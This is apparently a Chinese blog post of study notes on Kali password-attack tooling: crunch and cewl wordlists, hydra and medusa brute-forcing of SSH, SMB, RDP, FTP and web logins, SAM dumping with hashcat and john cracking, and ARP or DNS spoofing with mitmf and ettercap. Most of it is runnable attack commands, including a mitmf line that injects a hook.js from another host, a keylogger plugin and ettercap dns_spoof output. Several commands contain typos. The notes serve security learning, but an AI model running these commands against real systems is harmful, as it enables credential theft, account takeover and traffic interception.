zoukankan      html  css  js  c++  java
  • kali上密码工具使用例如mudusa,hydra等

    思路

    各种密码类别大致数学原理
    https://blog.csdn.net/carol980206/article/details/96705859
    https://www.jianshu.com/p/cb77838c69db

    目标系统实施了强安全措施
    1. 安装了所有补丁
    2. 无任何已知漏洞
    3. 无应用层漏洞
    4. 攻击面最小化
    社会工程学
    获取目标系统用户身份
    1. 非授权用户不受信,认证用户可以访问守信资源
    2. 已有用户账号权限受
    3. 不触发系统报警

    密码破解

    人工猜解
    1. 垃圾桶工程
    2. 被动信息搜集
    基于字典暴力破解
    键盘空间字符爆破
    字典
    1. 保存有用户名和密码的文本文件
    2. /usr/share/wordlist
    3. /usr/share/wf
    4. uzz/wordlist
    5. /usr/share/seclists
    键盘空间字符爆破

    https://blog.csdn.net/weilijia13/article/details/70175787
    1. 全键盘空间字符 2. 部分键盘空间字符 3. 数字,小写字母,大写字母,符号空格,瑞典字符,高位ASCII码 4. crunch <min-len><max-len>[] [options]- < charset string >默认是小写字符

    crunch 6 6 0123456789 -o START -D 2 -B 1MB / -C 100
    -b 按大小分割字典文件,即将原本完整的字典文件分割为1mb一个字典文件。 
    -c字典行数
    以上两位必须使用 -o START 进行结合使用
    -d 同意字符连贯出现数量(11/aaa)
    
    字符集
    - crunch 4 4 -f charset.lst lalpha-sv -o 1.txt
    无重复字符
    - crunch 1 1 0p 1234567890 | more
    - 必须是最后一个参数
    - 最大最小字符长度失效,但必须存在
    - 与-s参数不兼容
    - crunch 4 4 0123456789 -s 9990
    读取文件中每行内容作为基本字符生成字典
    - crunch 1 1 -q read 
    
    字典组成规则
    crunch 6 6 -t @,%%^^ | more
    - @ 小写字符  
    - . 大写字符  
    - % 数字  
    - ^ 符号  
     
    输出文件压缩
    - crunch 4 4 -t @,%^ -o 1.txt -z 7z  
    - 其他压缩格式 :gzip,bzip2,lzma  
    - 7z压缩比率最大  
    

    crunch 5 5 abc DEF + !@# -t ,@^%,
    我们使用-t来指定所选字符集的类型,即第一个为大写字符,第二个为小写字符,第三个为特殊字符,第四个是数字,第五个又是大写字符。 其中是转义字符,+是占位符,表示选用的是默认的。
    crunch 5 5 -t ddd%% -p dog cat bird
    此处ddd代指的就是-p当中的三个参数,任何不同于-p参数指定的值都可以作为占位符。
    crunch 5 5 -d 2@ -t @@@%%
    此处进行了限制即相同的连续小写字母只能连续两次最多,即此处不会生成aaa,可能为aab

    专属的密码字典

    CUPP:通过个人信息进行密码破解。
    root@kali:~/common-password# python cupp.py -i
    cewl:通过手机网站信息生成字典。

    cewl 1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt
    -m:最小单词长度 
    -d:爬网深度
    -e:手机包括email地址信息
    -c:每个单词出现次数
    
    hydra

    https://blog.csdn.net/cjx529377/article/details/85418802 https://blog.csdn.net/csacs/article/details/88141215

     hydra -l user -P passlist.txt ftp://192.168.0.1
     hydra -L userlist.txt -p defaultpwimap://192.168.0.1/PLAIN
     hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
     hydra -l admin -p password ftp://[192.168.0.0/24]/
     hydra -L logins.txt -P pws.txt -M targets.txt ssh
    windows密码破解
    - hydra -l administrator -P pass.lst smb://1.1.1.1/admin$ -vVd
    - hydra -l adminstrator -P pass.lst rbp://1.1.1.1 -t 1 -vV
    linux密码破解
    - hydra -l root -P passwd.lst ssh://1.1.1.1 -vV
    其他服务密码破解
    - hydra -L user.list -P pass.lst fpt://1.1.1.1 -s 2121 -e nsr -o p.txt -t 64  
    - -e nsr n:空密码 s:账号密码相同 r:账号密码相反   
    我们可以使用hydra -R来继续上一次未完成的破解。     
    hydra -l admin -P john.txt 192.168.1.1.http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:S=index.php" -t 1 -v
    其实此处不会有返回结果,因为服务器会进行302重定向,不会反悔login failed 而是会返回 login.php这个页面,但如果登陆成功的话那么就会返回index.php这样我们在burp当中使用forward会跳转到index.php,但此时还是会有问题,我们需要将验证结果指为正确登录的返回结果,即S=index.php
    hydra -l admin -P pass.lst 1.1.1.1 http-post-form "/dvwa/login.php:username=^USAR^&pass=^PASS^&Login=Lin:Login Failed" -V
    /foo.php:user=^USER^&pass=^PASS^:S=sucess:C=/page/cookie:H=X-Foo:Foo
    C:先访问指定页面取得的cookie
    H:指定http头
    https-post-form,http-get-form,https-get-form
    

    密码破解效率
    - 密码复杂度 - 带宽,协议,服务器性能,客户端性能 - 锁定阀值 - 单位时间最大登录请求次数

    pw—inspctor

    -i 输入文件
    -o 输出文件
    -m 有效密码的最小长度
    -M 有效密码的最大长度
    -l 小写字母
    -u 大学字母
    -p 可打印的字符
    -s 特殊字符
    -n 数字

    pw-inspector -i pass.lst -o up.lst -l  

    筛选pass.lst字典小写字符输出为lp.lst(包含一个小写字母也算

    pw-inspector -i pass.lst -o up.lst -l u

    筛选pass.lst字典小写字符输出为up.lst(包含一个大写字母也算

    medusa

    hydra缺点: 稳定性差,程序时常崩溃。
    速度控制不好,容易触发服务屏蔽或锁死机制。
    没主机新建进程,没服务新建实例。
    大量目标破解时性能差。
    medusa特点:。
    稳定性好。
    速度控制得当。
    基于线程。
    支持模块少于hydra。
    web-form支持存在缺陷。

    medusa -d 
    破解windows密码
    - medusa -M smbnt -h 1.1.1.1 -u administrator -P pass.lst -e ns -F
    破解linuxSSH密码
    medusa -M ssh -h 192.168.214.135 -u root -P [ass.lst -e ns -F 
    其他服务密码破解
    -medusa -M mysql -h 1.1.1.1 -u root -P pass.lst -e ns -F
    -medusa -h 1.1.1.1 -u admin -P pass.lst -M web-form -m FORM:"dvwa/login.php" -m DENY-SIGNAL:"login.php" -m FORM-DATA:"post?user=username&pass=password&Login-Login"

    -n 非默认参数 -s 使用ssl连接 -T 并发主机数 https://blog.csdn.net/cnsdlywei/article/details/83213607 https://blog.csdn.net/u010984277/article/details/50792816

    离线密码破解

    身份验证: - 禁止明文传输密码 - 每次认证使用HASH算法加密密码传输 - 服务端用户数据湖赢加盐加密保存 破解思路: - 嗅探获取密码HASH - 利用漏洞登录服务器并从用户数据库获取密码HASH - 识别HASH类型:长度字符集 - 利用离线破解工具碰撞密码HASH

    离线密码破解

    windows HASH获取工具 - 我们需要知道在windows当中我们的SAM数据库存放着我们账号密码的密文信息。 - 利用漏洞:Pwdump,fgdump,mimikatz,wce//已经有了登录权限 - 物理接触:samdump2//思路使用kali引导这台电脑,我们在光盘当中插入kali的iso文件,使用kali进行启动,然后进入live模式,查看机器的本地硬盘 - fdisk -l - kali iso启动虚拟机 - mount/dev/sda1/mnt - cd /mnt/Windows/System32/config - samdump2 SYSTEM SAM -o sam.hash - cat sam.hash此时我们可以查看, - 利用nc传输HASH 我们在system当中设置一个秘钥,此时我们登陆的时候需要进行两道密码的输入。

    HASHCAT

    https://blog.csdn.net/SHIGUANGTUJING/article/details/90074614
    开源多线程密码破解工具 支持80多种加密算法破解 基于cpu的计算能力破解 有6种模式 - a 0 straight:字典破解 - a 1 combination 讲字典中密码进行组合(1 2 > 11 22 12 21) - a 2 Toggle case 尝试字典中所有密码的大小写组合 - a 3 Brute force 指定字符集所有组合 - a 4 Permutation 字典中密码的全部字符置换组合 - a 5 Table-lookup 程序为字典中所有密码自动生成掩码
    我们在syskey当中又设置秘钥之后,此时按照上述也能获得一串hash值,但是我们放到hashcat中进行解密,发现是没有结果的 hashcat -m 1000 -a 3 sam1.hash -i --increment-min 4 --increment-max 6 ?a?a?a?a?a?a Bootkey利用RC4算法加密SAM数据库,Bootkey保存在SYStem文件当中,我们可以使用吧

    掩码的设置
        l | abcdefghijklmnopqrstuvwxyz          纯小写字母
        u | ABCDEFGHIJKLMNOPQRSTUVWXYZ          纯大写字母
        d | 0123456789                  纯数字
        h | 0123456789abcdef                常见小写子目录和数字
        H | 0123456789ABCDEF                常见大写字母和数字
        s |  !"#$%&'()*+,-./:;<=>?@[]^_`{|}~       特殊字符
        a | ?l?u?d?s                    键盘上所有可见的字符
        b | 0x00 - 0xff                 可能是用来匹配像空格这种密码的
    八位数字密码:?d?d?d?d?d?d?d?d
    八位未知密码:?a?a?a?a?a?a?a?a 
    前四位为大写字母,后面四位为数字:?u?u?u?u?d?d?d?d
    前四位为数字或者是小写字母,后四位为大写字母或者数字:?h?h?h?h?H?H?H?H
    前三个字符未知,中间为admin,后三位未知:?a?a?aadmin?a?a?a
    6-8位数字密码:--increment --increment-min 6 --increment-max 8 ?l?l?l?l?l?l?l?l
    6-8位数字+小写字母密码:--increment --increment-min 6 --increment-max 8 ?h?h?h?h?h?h?h?h
    
    攻击模块
    # | Mode
     ===+======
      0 | Straight(字段破解)
      1 | Combination(组合破解)
      3 | Brute-force(掩码暴力破解)
      6 | Hybrid Wordlist + Mask(字典+掩码破解)
      7 | Hybrid Mask + Wordlist(掩码+字典破解)
    

    oclhashcat

    号称世界最快,唯一基于GPU的密码破解软件 免费开源,支持多平台,支持分布式,150+haash算法 硬件支持: 虚拟机中无法使用 支持CUDA技术的Nvidia显卡 支持OpenCL技术的AMD显卡 安装相应的驱动

    rainbowcrack

    我们省却了将字典转换成hash值的过程,直接进行碰撞。 基于时间记忆权衡技术生成彩虹表 提前计算密码的HASH值,通过对比HASH破解密码 计算HASH的速度很慢,修改版支持CUDA,GPU kali中包含RAINBOECRACK工具 rtgen:预计算,声场彩虹表,耗时的阶段 rtsort:对rtgen生成的彩虹表进行排序 rcrack:查找彩虹表破解密码 以上命令必须顺序使用。 密码明文,HASH值,HASH算法,字符集,明文长度范围都是彩虹表的构成元素 在rtgen当中:lanman,ntlm,md2,md4,md5,sha1,ripemd160这几种算法,当然计算彩虹表的时间可能很长:rtgen 算法 字符集 明文密码最小长度 明文密码最大长度 表的索引 链的长度 链的数量 https://blog.csdn.net/qq_35976271/article/details/79026140

    john

    https://blog.csdn.net/lonet/article/details/6621385
    支持众多服务应用的加密破解,支持某些对称加密算法破解。
    模式:Wordlist:基于规则的字典破解
    single crack:默认被受限制性,使用login信息尝试破解。
    incremental:所有或指定字符集的暴力破解。
    external:需要在主配文件中使用c语言子集编程。
    我们可以使用shadow进行合并,当然我们也可以使用图形化界面johnny。

    ophcrack

    也是一种图形化破解工具

    密码嗅探

    二,三层地址
    ip网络到网络
    mac主机到主机
    交换机与HUB
    HUB全端口转发
    交换机根据学习地址转发
    混杂模式抓包
    二层地址基于广播进行传送,所以在局域网内部,二层地址是可以广播寻址,发送广播。
    三层要经过三层的路由设备进行三层路由寻址,如果一个路由发现塔索连个呢个网段的所寻的地址它的另一端连着,那么就会继续寻址,会经过本网段的网关,广播继续发送寻找另一个网段的网关,然后获得那个网关的mac地址, 然后更改mac地址。
    HUB:全端口转发,不识别二层报头,一般情况下,网卡都是非混杂模式的,抓包工具可以把网卡置为混杂模式,把所有流经我的网卡的流量都抓下来,但这对于计算机的性能是有极大的消耗的。
    交换机:这就是一个二层网络设备了,交换机对于广播包是都进行转发的,交换机就避免了新歌能的损耗,交换机当中的内存会记录与其相连的及其第一次发的包的ip地址作为其mac地址,交换机可以直接将信息转给另一个端口。
    但这并不意味着我们无法做arp密码嗅探了。
    ARP协议的请求,相应是相对独立的,那么我们就可以编造一个响应的数据包,任何一个这个网段的人都可以随意发响应包,并且机器接收到响应包都是无条件信任的这个响应包,是不需要请求的。,遮阳消息就会传递给伪造者的mac地址,这就是arp欺骗,接下来我们就可以实现中间人攻击。

    开启路由转发功能
    root@kali:~# cat /proc/sys/net/ipv4/ip_forward
    0   //此处默认为0
    root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward             //将其修改为1,即开启此功能
    
    网络嗅探

    arpspoof -i eth0 -t 192.168.1.112 192.168.1.1//前面的是被欺骗者,后者是网关 arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
    driftnet -i eth0 -a -d tempdir -s dnsspoof -i eth0 -f /usr/share/dsniff/dnsspoof.hosts urlsnarf -i eth0 webspy -i eth0 1.1.1.10

    DNS欺骗代理

    https://blog.csdn.net/xiaoxuetu_/article/details/76042369
    -dnschef --fakeip=1.01.1.10 //我们要欺骗的ip具体要解析的地址 --fakedomains=www.google.com,www.youtubo.com //我们要欺骗的--interface 192.168.214.135//在哪块网卡进行侦听
    在进行侦听的时候,我们需要将被欺骗的机器网络属性进行配置,使他的电脑上的dns服务器指向我们的kali机器。 进行修改你要欺骗之后网页显示的内容:/var/www/html/index.html 我们使用ettercap也可以完成:

    中间人攻击

    https://www.cnblogs.com/ssooking/p/6036665.html
    注入xss:即使没有xss ,液可以凌空向每个HTTP请求中注入xss攻击,一旦得手,影响范围巨大,而且如果中间人发生在运营商线路上。 mitmf --spoof --arp //使用arp欺骗 -i eth0 //流量流经的网卡--gateway 192.168.1.1 //网关的地址 --target 192.168.1.114 //要欺骗的主机--inject --js-url http://1.1.3:3000/hook.js //插入的js代码
    mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 -- target 192.168.1.114 --jskeylogger / upsidedownternet /--screen / ferreting /browserprofiler

    root@kali:~# ettercap -T -q -M arp:remote -i eth0 /192.168.214.132// /192.168.214.2// -P dns_spoof
    
    ettercap 0.8.3 copyright 2001-2019 Ettercap Development Team
    
    Listening on:
      eth0 -> 00:0C:29:12:E9:44
              192.168.214.150/255.255.255.0
              fe80::20c:29ff:fe12:e944/64
    
    SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
    Privileges dropped to EUID 65534 EGID 65534...
    
      34 plugins
      42 protocol dissectors
      57 ports monitored
    24609 mac vendor fingerprint
    1766 tcp OS fingerprint
    2182 known services
    Lua: no scripts were specified, not starting up!
    
    Scanning for merged targets (2 hosts)...
    
    * |==================================================>| 100.00 %
    
    4 hosts added to the hosts list...
    
    ARP poisoning victims:
    
     GROUP 1 : 192.168.214.132 00:0C:29:4A:1D:48
    
     GROUP 2 : 192.168.214.2 00:50:56:E7:2A:0C
    Starting Unified sniffing...
    
    
    Text only Interface activated...
    Hit 'h' for inline help
    
    Activating dns_spoof plugin...
    
    dns_spoof: A [www.baidu.com] spoofed to [192.168.214.150] TTL [3600 s]
    dns_spoof: A [web.vortex.data.microsoft.com] spoofed to [192.168.214.150] TTL [3600 s]
    dns_spoof: A [teredo.ipv6.microsoft.com] spoofed to [192.168.214.150] TTL [3600 s]
    dns_spoof: A [www.microsoft.com] spoofed to [192.168.214.150] TTL [3600 s]
    dns_spoof: A [teredo.ipv6.microsoft.com] spoofed to [192.168.214.150] TTL [3600 s]
    dns_spoof: A [vortex-win.data.microsoft.com] spoofed to [192.168.214.150] TTL [3600 s]
    dns_spoof: A [settings-win.data.microsoft.com] spoofed to [192.168.214.150] TTL [3600 s]
    dns_spoof: A [teredo.ipv6.microsoft.com] spoofed to [192.168.214.150] TTL [3600 s]
    dns_spoof: A [go.microsoft.com] spoofed to [192.168.214.150] TTL [3600 s]
    dns_spoof: A [www.baidu.com] spoofed to [192.168.214.150] TTL [3600 s]
    

    Ettercap

    统一的中间人攻击工具
    转发MAC与本机相同,但ip与本机不同的数据包
    支持SSH1,SSL中间人攻击。
    转发包的原则:只转发mac相同,而ip地址不同的包。
    模块划分:snifer,mitm,filter,log,plugin

    snifer

    负责数据包转发
    unified:单网卡情况下独立完成三层包转发,始终禁用内核IP-FORWARD功能
    bridge:双网卡情况下一层MITM模式,可作为IPS过滤数据卡,不可在网关上使用,这种模式下隐蔽性非常的高,几乎不能被发现,这样情况下是被视为像一根网线,一根进,一根输出。

    MITM

    把流量重定向到ettercap主机上 可以使用其他工具实现MITM,etter只做嗅探和过滤使用。 实现MITM的方法:ARP,ICMP//ICMP路由重定向,半双工,路由的过程是不对称的,我们只能发现客户端传递给服务端的包,而服务端的包是不流经中间人的 DHCP:修改网关地址,半双工,Switch Port Stealing//flood目标地址是本机,原地址是受害者的包,适用于ARP静态绑定的环境,可以双向欺骗, NDP//ipv6协议欺骗技术。

    在2.4以上内核对于ARP地址欺骗是有约束的,对于收到非请求的ARP响应包,不更新本地ARP缓存,而ettercap对于这种限制是可以发送ARP request包进行攻击

    用户操作界面:
    - T 文本界面
    - G 图形界面
    - C 基于文本的图形
    - D 后台模式
    ettercap mac地址/ipv4地址1/端口号 /ipv4地址2/ 遮阳就表示在1和2地址之间实现中间人攻击,当然ipv6地址可以写多个,ipv4 也可以写多个。

    权限

    需要root权限打开链路层socket连接,然后使用noody账号进行运行,日志写入目录需要nobody有写入权,我们可以使用root账号运行,但是如果有漏洞,对方可能就会获得了root权限。
    ettercap -i eth0 -T -M arp -q /192.168.1.1// /192.168.1.2// -F 1.ef -P autoadd -w a.cap -l loginfo -L logall -m message //-F调用了过滤器 //-P 模块名称 //-w 将所有流量抓下来存取成a.cap 这个文件。 //-l 记录简单的日志信息 //-L 记录全部的日志信息 filter可以帮助我们强制性把ssh协议版本降低,这样我们就可以解密了,具体目录就是:/usr/share/ettercap ICMP:-M icmp:mac地址/ip地址(真实的网关MAC/IP地址) DHCP: -M dhcp:192.168.0.30,35,50-60/225.225.225.0/192.168.0.1 Port: -M port/1.1.1.1//1.1.1.2/ NDP: -m NDP //fe80::260d:afff:fe6e:f378/ //2001:db8::2:1/

  • 相关阅读:
    Django 框架篇(四) : 视图(view)详解 及 路由系统(url)
    Django 框架篇(三) : Django之模板
    Django 框架篇(二) : 创建APP之视图函数; model(模型)系统操作数据库之ORM操作;
    Django 框架篇: 一. Django介绍; 二. 安装; 三. 创建项目;
    212
    redux:applyMiddleware源码解读
    react 反模式——不使用jsx动态显示异步组件
    angular 动态组件类型
    webpack2-webpack.config.js配置
    tdd:(react + mocha)环境配置
  • 原文地址:https://www.cnblogs.com/ophxc/p/12578031.html
Copyright © 2011-2022 走看看